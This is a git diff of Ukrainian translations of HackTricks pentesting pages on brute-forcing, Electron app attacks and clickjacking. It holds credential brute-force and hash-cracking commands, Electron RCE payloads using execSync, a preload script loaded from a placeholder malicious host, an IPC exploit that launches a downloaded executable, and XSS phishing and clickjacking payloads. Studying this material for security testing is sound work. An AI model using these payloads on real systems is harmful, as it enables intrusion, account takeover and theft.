mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/brute-force.md', 'src/network-services-
This commit is contained in:
parent
1af43702fd
commit
8d80b557b1
@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
||||
^ Special characters including spac
|
||||
crunch 6 8 -t ,@@^^%%
|
||||
```
|
||||
### Cewl
|
||||
### Словники на основі веб-сайтів
|
||||
```bash
|
||||
# Cewl gets words from the victims page
|
||||
cewl example.com -m 5 -w words.txt
|
||||
|
||||
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
|
||||
cat /path/to/urls.txt | tok
|
||||
|
||||
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
|
||||
cat /path/to/js-urls.txt | python3 getjswords.py
|
||||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
@ -113,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
```
|
||||
### Docker Реєстр
|
||||
### Docker Registry
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||
```
|
||||
@ -332,6 +339,8 @@ hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```bash
|
||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||
```
|
||||
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||||
|
||||
### Rsync
|
||||
```bash
|
||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||
@ -435,7 +444,7 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
## Локальний
|
||||
## Local
|
||||
|
||||
### Онлайн бази даних для злому
|
||||
|
||||
@ -451,7 +460,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
- [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
Перевірте це перед тим, як спробувати зламати хеш за допомогою брутфорсу.
|
||||
Перевірте це перед спробою злому хешу.
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
@ -469,9 +478,9 @@ john zip.john
|
||||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||
```
|
||||
#### Відома атака на zip з відкритим текстом
|
||||
#### Відомий атака на zip з відкритим текстом
|
||||
|
||||
Вам потрібно знати **відкритий текст** (або частину відкритого тексту) **файлу, що міститься всередині** зашифрованого zip. Ви можете перевірити **імена файлів та розмір файлів, що містяться всередині** зашифрованого zip, виконавши: **`7z l encrypted.zip`**\
|
||||
Вам потрібно знати **відкритий текст** (або частину відкритого тексту) **файлу, що міститься всередині** зашифрованого zip. Ви можете перевірити **імена файлів та розмір файлів, що містяться всередині** зашифрованого zip, запустивши: **`7z l encrypted.zip`**\
|
||||
Завантажте [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) зі сторінки релізів.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
@ -560,7 +569,7 @@ cryptsetup luksOpen backup.img mylucksopen
|
||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||
mount /dev/mapper/mylucksopen /mnt
|
||||
```
|
||||
Інший туторіал Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
||||
Інший туторіал по Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
||||
|
||||
### Mysql
|
||||
```bash
|
||||
@ -606,12 +615,12 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
|
||||
**Приклади хешів:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||
|
||||
### Ідентифікатор хешів
|
||||
### Hash-identifier
|
||||
```bash
|
||||
hash-identifier
|
||||
> <HASH>
|
||||
```
|
||||
### Словники
|
||||
### Wordlists
|
||||
|
||||
- **Rockyou**
|
||||
- [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
||||
@ -699,7 +708,7 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
||||
```bash
|
||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
```
|
||||
Злом Linux хешів - файл /etc/shadow
|
||||
Злом Linux Hashes - файл /etc/shadow
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
@ -711,7 +720,7 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
```
|
||||
Зламування загальних хешів додатків
|
||||
Злом загальних хешів додатків
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
|
@ -37,13 +37,13 @@ win.loadURL(`file://path/to/index.html`)
|
||||
Electron додаток **може отримати доступ до пристрою** через Node API, хоча його можна налаштувати, щоб запобігти цьому:
|
||||
|
||||
- **`nodeIntegration`** - за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій Node з renderer process.
|
||||
- **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, основний і рендеринговий процеси не ізольовані.
|
||||
- **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, основний і renderer процеси не ізольовані.
|
||||
- **`preload`** - за замовчуванням порожній.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS.
|
||||
- Node Integration в Workers
|
||||
- **`nodeIntegrationInSubframes`** - за замовчуванням вимкнено.
|
||||
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** в рамках Electron додатку.
|
||||
- Якщо **`nodeIntegration`** **вимкнено**, тоді попередні завантаження будуть завантажуватися в iframe.
|
||||
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron додатку.
|
||||
- Якщо **`nodeIntegration`** **вимкнено**, тоді попередні завантаження завантажаться в iframe.
|
||||
|
||||
Приклад конфігурації:
|
||||
```javascript
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Деякі **RCE payloads** з [тут](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Деякі **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,9 +95,9 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Capture traffic
|
||||
### Захоплення трафіку
|
||||
|
||||
Змініть конфігурацію start-main і додайте використання проксі, наприклад:
|
||||
Змініть конфігурацію start-main і додайте використання проксі, такого як:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
@ -152,13 +152,13 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
_**contextIsolation**_ вводить **окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron**, так що виконання JavaScript кожного коду не впливає на інший. Це необхідна функція для усунення можливості RCE.
|
||||
_**contextIsolation**_ вводить **окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron**, щоб виконання JavaScript кожного коду не впливало на інший. Це необхідна функція для усунення можливості RCE.
|
||||
|
||||
Якщо контексти не ізольовані, зловмисник може:
|
||||
|
||||
1. Виконати **произвольний JavaScript у рендерері** (XSS або навігація на зовнішні сайти)
|
||||
2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, на власну функцію
|
||||
3. **Викликати** використання **перезаписаної функції**
|
||||
3. **Запустити** використання **перезаписаної функції**
|
||||
4. RCE?
|
||||
|
||||
Є 2 місця, де вбудовані методи можуть бути перезаписані: у коді preload або у внутрішньому коді Electron:
|
||||
@ -185,14 +185,14 @@ window.addEventListener('click', (e) => {
|
||||
|
||||
Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Встановлено, що **віддалене виконання коду на стороні клієнта (RCE)**, яке націлене на попередньо завантажені скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань.
|
||||
При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Встановлено, що **віддалене виконання коду на стороні клієнта (RCE)**, яке націлене на попередні скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань.
|
||||
|
||||
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують специфічні обробники подій, які є критично важливими для безпеки та функціональності додатку:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Ці слухачі **перекриваються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо чи в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію `shell.openExternal`.
|
||||
Ці слухачі **перекриваються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо або в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію `shell.openExternal`.
|
||||
|
||||
**Ось спрощений псевдокод:**
|
||||
|
||||
@ -224,13 +224,34 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + вразливий preload IPC + shell.openExternal
|
||||
|
||||
Цю вразливість можна знайти в **[цьому звіті](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
**webviewTag** є **застарілою функцією**, яка дозволяє використовувати **NodeJS** в **процесі рендерингу**, що слід вимкнути, оскільки це дозволяє завантажувати скрипт у контексті preload, як:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Отже, зловмисник, який зміг завантажити довільну сторінку, міг би використати цей тег для **завантаження довільного попереднього скрипту**.
|
||||
|
||||
Цей попередній скрипт був зловжито використаний для виклику **вразливого IPC-сервісу (`skype-new-window`)**, який викликав **`shell.openExternal`** для отримання RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
|
||||
setTimeout(async () => {
|
||||
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
|
||||
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## Читання внутрішніх файлів: XSS + contextIsolation
|
||||
|
||||
**Вимкнення `contextIsolation` дозволяє використовувати `<webview>` теги**, подібно до `<iframe>`, для читання та ексфільтрації локальних файлів. У наведеному прикладі показано, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
|
||||
**Вимкнення `contextIsolation` дозволяє використовувати `<webview>` теги**, подібно до `<iframe>`, для читання та ексфільтрації локальних файлів. Наведено приклад, який демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
|
||||
|
||||
.png>)
|
||||
|
||||
Крім того, подається ще один метод для **читання внутрішнього файлу**, що підкреслює критичну вразливість читання локальних файлів в Electron десктопному додатку. Це передбачає ін'єкцію скрипта для експлуатації програми та ексфільтрації даних:
|
||||
Крім того, поділено ще один метод **читання внутрішнього файлу**, який підкреслює критичну вразливість читання локальних файлів в Electron десктопному додатку. Це передбачає інжекцію скрипта для експлуатації програми та ексфільтрації даних:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -248,19 +269,19 @@ frames[0].document.body.innerText
|
||||
```
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
Якщо **chromium**, що використовується в додатку, є **старим** і в ньому є **відомі** **вразливості**, можливо, ви зможете **використати це та отримати RCE через XSS**.\
|
||||
Якщо **chromium**, що використовується в додатку, є **старим** і на ньому є **відомі** **вразливості**, можливо, ви зможете **використати це та отримати RCE через XSS**.\
|
||||
Ви можете побачити приклад у цьому **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли**, ви могли б спробувати використати це для **викрадення облікових даних через фішинг**.
|
||||
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли**, ви можете спробувати використати це, щоб **вкрасти облікові дані через фішинг**.
|
||||
|
||||
По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити новий URL, перевіряючи JS код на фронтенді:
|
||||
По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити нову URL, перевіряючи JS код на фронтенді:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Виклик **`openInternally`** вирішить, чи **посилання** буде **відкрито** у **десктопному вікні**, оскільки це посилання, що належить платформі, **чи** буде воно відкрито у **браузері як ресурс третьої сторони**.
|
||||
Виклик **`openInternally`** вирішить, чи **посилання** буде **відкрито** в **десктопному вікні**, оскільки це посилання, що належить платформі, **чи** буде воно відкрито в **браузері як ресурс третьої сторони**.
|
||||
|
||||
У випадку, якщо **regex**, використаний функцією, є **вразливим до обходів** (наприклад, через **неекранування крапок піддоменів**), зловмисник може зловживати XSS, щоб **відкрити нове вікно, яке** буде розташоване в інфраструктурі зловмисника, **питавши у користувача** про облікові дані:
|
||||
```html
|
||||
@ -268,17 +289,21 @@ webContents.on("will-navigate", function (event, url) {} // o
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## Remote module
|
||||
## `file://` Протокол
|
||||
|
||||
Модуль Electron Remote дозволяє **процесам рендеринга отримувати доступ до API основного процесу**, полегшуючи комунікацію в рамках програми Electron. Однак, увімкнення цього модуля вводить значні ризики безпеки. Це розширює поверхню атаки програми, роблячи її більш вразливою до уразливостей, таких як атаки міжсайтового скриптингу (XSS).
|
||||
Як згадано в [документації](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), сторінки, що працюють на **`file://`**, мають односторонній доступ до кожного файлу на вашій машині, що означає, що **проблеми XSS можуть бути використані для завантаження довільних файлів** з машини користувача. Використання **кастомного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише для обслуговування певного набору файлів.
|
||||
|
||||
## Віддалений модуль
|
||||
|
||||
Віддалений модуль Electron дозволяє **процесам рендерингу отримувати доступ до API основного процесу**, полегшуючи комунікацію в рамках програми Electron. Однак, увімкнення цього модуля вводить значні ризики безпеки. Це розширює поверхню атаки програми, роблячи її більш вразливою до уразливостей, таких як атаки міжсайтового скриптингу (XSS).
|
||||
|
||||
> [!TIP]
|
||||
> Хоча модуль **remote** відкриває деякі API з основного процесу для процесів рендеринга, отримати RCE, просто зловживаючи компонентами, не так просто. Однак компоненти можуть розкривати чутливу інформацію.
|
||||
> Хоча **віддалений** модуль відкриває деякі API з основного до процесів рендерингу, отримати RCE, просто зловживаючи компонентами, не так просто. Однак компоненти можуть розкривати чутливу інформацію.
|
||||
|
||||
> [!WARNING]
|
||||
> Багато додатків, які все ще використовують модуль remote, роблять це таким чином, що **вимагає увімкнення NodeIntegration** в процесі рендеринга, що є **величезним ризиком безпеки**.
|
||||
> Багато програм, які все ще використовують віддалений модуль, роблять це таким чином, що **вимагає увімкнення NodeIntegration** в процесі рендерингу, що є **величезним ризиком безпеки**.
|
||||
|
||||
З моменту виходу Electron 14 модуль `remote` Electron може бути увімкнений у кількох етапах, оскільки з причин безпеки та продуктивності **рекомендується не використовувати його**.
|
||||
З версії Electron 14 модуль `remote` може бути увімкнений у кількох етапах, оскільки з міркувань безпеки та продуктивності **рекомендується не використовувати його**.
|
||||
|
||||
Щоб увімкнути його, спочатку потрібно **увімкнути його в основному процесі**:
|
||||
```javascript
|
||||
@ -291,7 +316,7 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Тоді процес рендеринга може імпортувати об'єкти з модуля, як:
|
||||
Тоді процес рендерингу може імпортувати об'єкти з модуля, як-от:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
@ -302,7 +327,7 @@ import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Визначає** або **створює** каталог для зберігання **логів додатка**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Реєструє** поточний виконуваний файл як **за замовчуванням обробник** для вказаного **протоколу**. Ви можете надати **кастомний шлях** та **аргументи**, якщо це необхідно.
|
||||
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. Ви можете надати **кастомний шлях** та **аргументи**, якщо потрібно.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Додає** завдання до **категорії Завдань** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
@ -310,9 +335,9 @@ import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Переміщує** додаток до **каталогу Додатків** (на macOS). Допомагає забезпечити **стандартну установку** для користувачів Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Ви можете вказати **категорії** для організації того, як завдання з'являються для користувача.
|
||||
- **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Ви можете вказати **категорії**, щоб організувати, як завдання з'являються для користувача.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Конфігурує**, які **виконувані файли** запускаються при **вході** разом з їхніми **опціями** (тільки macOS і Windows).
|
||||
- **Налаштовує**, які **виконувані файли** запускаються при **вході** разом з їхніми **опціями** (тільки macOS і Windows).
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
@ -338,7 +363,7 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
* **Слухає** **рідні macOS сповіщення** за допомогою NSDistributedNotificationCenter.
|
||||
* Перед **macOS Catalina** ви могли перехоплювати **всі** розподілені сповіщення, передаючи **nil** до CFNotificationCenterAddObserver.
|
||||
* Після **Catalina / Big Sur** пісочниці додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **блокування/розблокування екрану**, **монтування томів**, **мережеву активність** тощо) реєструючи сповіщення **за назвою**.
|
||||
* Після **Catalina / Big Sur** пісочничні додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **блокування/розблокування екрану**, **монтування дисків**, **мережеву активність** тощо) реєструючи сповіщення **за назвою**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
@ -346,9 +371,9 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **останні місця файлів** або **географічне положення користувача**.
|
||||
|
||||
* **setUserDefault** може **модифікувати** ці налаштування, потенційно впливаючи на **конфігурацію** програми.
|
||||
* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** програми.
|
||||
|
||||
* У **старих версіях Electron** (до v8.3.0) була доступна лише **стандартна сукупність** NSUserDefaults.
|
||||
* У **старіших версіях Electron** (до v8.3.0) лише **стандартний набір** NSUserDefaults був **доступний**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
@ -358,9 +383,9 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Додатки Electron повинні мати **Політику безпеки контенту (CSP)** для **запобігання XSS-атакам**. **CSP** є **стандартом безпеки**, який допомагає **запобігти** **виконанню** **недовіреного коду** в браузері.
|
||||
Додатки Electron повинні мати **Політику безпеки контенту (CSP)**, щоб **запобігти атакам XSS**. **CSP** є **стандартом безпеки**, який допомагає **запобігти** **виконанню** **недовіреного коду** в браузері.
|
||||
|
||||
Зазвичай **конфігурується** у файлі **`main.js`** або в шаблоні **`index.html`** з CSP всередині **мета-тегу**.
|
||||
Зазвичай **налаштовується** у файлі **`main.js`** або в шаблоні **`index.html`** з CSP всередині **мета-тегу**.
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
@ -368,12 +393,13 @@ console.log('Recent Places:', recentPlaces);
|
||||
pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) - це інструмент для виявлення неправильних налаштувань і антипатернів безпеки в додатках на базі Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) - це плагін з відкритим кодом для VS Code для додатків Electron, який використовує Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) для перевірки вразливих сторонніх бібліотек.
|
||||
- [**Electro.ng**](https://electro.ng/): Вам потрібно його купити.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) - це відкритий плагін VS Code для додатків Electron, який використовує Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) для перевірки вразливих сторонніх бібліотек
|
||||
- [**Electro.ng**](https://electro.ng/): Вам потрібно його купити
|
||||
|
||||
## Labs
|
||||
|
||||
|
@ -8,11 +8,11 @@
|
||||
|
||||
### Трюк з попереднім заповненням форм
|
||||
|
||||
Іноді можливо **заповнити значення полів форми, використовуючи GET параметри під час завантаження сторінки**. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.
|
||||
Іноді можливо **заповнити значення полів форми, використовуючи GET-параметри під час завантаження сторінки**. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.
|
||||
|
||||
### Заповнення форми за допомогою Drag\&Drop
|
||||
### Заповнити форму за допомогою Drag\&Drop
|
||||
|
||||
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його ввести якусь конкретну інформацію (таку як електронна пошта або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його написати якусь конкретну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Основний Payload
|
||||
```css
|
||||
@ -91,8 +91,8 @@ background: #F00;
|
||||
|
||||
Якщо ви виявили **атаку XSS, яка вимагає, щоб користувач натиснув** на якийсь елемент, щоб **запустити** XSS, і сторінка є **вразливою до clickjacking**, ви можете зловживати цим, щоб обманути користувача, змусивши його натиснути кнопку/посилання.\
|
||||
Приклад:\
|
||||
Ви знайшли **self XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking**, і ви можете **попередньо заповнити** **форму** з параметрами GET.\
|
||||
Зловмисник може підготувати **Clickjacking** атаку на цю сторінку, **попередньо заповнивши** **форму** з **XSS payload** і **обманути** **користувача** на **відправлення** форми. Отже, **коли форма буде відправлена** і значення будуть змінені, **користувач виконає XSS**.
|
||||
Ви знайшли **self XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking** і ви можете **попередньо заповнити** **форму** з GET параметрами.\
|
||||
Зловмисник може підготувати **Clickjacking** атаку на цю сторінку, **попередньо заповнивши** **форму** з **XSS payload** і **обманюючи** **користувача** на **відправлення** форми. Отже, **коли форма буде відправлена** і значення будуть змінені, **користувач виконає XSS**.
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
@ -100,8 +100,10 @@ background: #F00;
|
||||
|
||||
Приклад можна побачити в цьому відео: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
Приклад коду можна знайти на [цій сторінці](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
|
||||
|
||||
> [!WARNING]
|
||||
> Ця техніка дозволяє обманути користувача, щоб натиснути на 1 місце на сторінці жертви, обходячи всі захисти проти clickjacking. Тому зловмисник повинен знайти **чутливі дії, які можна виконати лише з 1 натисканням, такі як запити OAuth на прийняття дозволів**.
|
||||
> Ця техніка дозволяє обманути користувача, щоб натиснути на 1 місце на сторінці жертви, обходячи всі захисти від clickjacking. Тому зловмисник повинен знайти **чутливі дії, які можна виконати лише одним натисканням, такі як запити OAuth на прийняття дозволів**.
|
||||
|
||||
## Стратегії для пом'якшення Clickjacking
|
||||
|
||||
@ -111,8 +113,8 @@ background: #F00;
|
||||
|
||||
- Забезпечення того, щоб вікно програми було основним або верхнім вікном.
|
||||
- Зробити всі фрейми видимими.
|
||||
- Запобігти натисканням на невидимі фрейми.
|
||||
- Виявлення та попередження користувачів про потенційні спроби Clickjacking.
|
||||
- Запобігання натисканням на невидимі фрейми.
|
||||
- Виявлення та сповіщення користувачів про потенційні спроби Clickjacking.
|
||||
|
||||
Однак ці скрипти для знищення фреймів можуть бути обійдені:
|
||||
|
||||
@ -124,7 +126,7 @@ id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
`allow-forms` та `allow-scripts` значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити належну функціональність цільового сайту, можуть знадобитися додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.
|
||||
`allow-forms` та `allow-scripts` значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити передбачувану функціональність цільового сайту, можуть бути необхідні додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.
|
||||
|
||||
### Серверні захисти
|
||||
|
||||
@ -137,13 +139,13 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - Тільки вказаний 'uri' може обрамляти сторінку.
|
||||
- Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери надають перевагу директиві CSP frame-ancestors.
|
||||
|
||||
#### Директива frame-ancestors політики безпеки контенту (CSP)
|
||||
#### Директива frame-ancestors політики безпеки вмісту (CSP)
|
||||
|
||||
**Директива `frame-ancestors` у CSP** є рекомендованим методом захисту від Clickjacking:
|
||||
**Директива `frame-ancestors` в CSP** є рекомендованим методом захисту від Clickjacking:
|
||||
|
||||
- `frame-ancestors 'none'` - Подібно до `X-Frame-Options: deny`.
|
||||
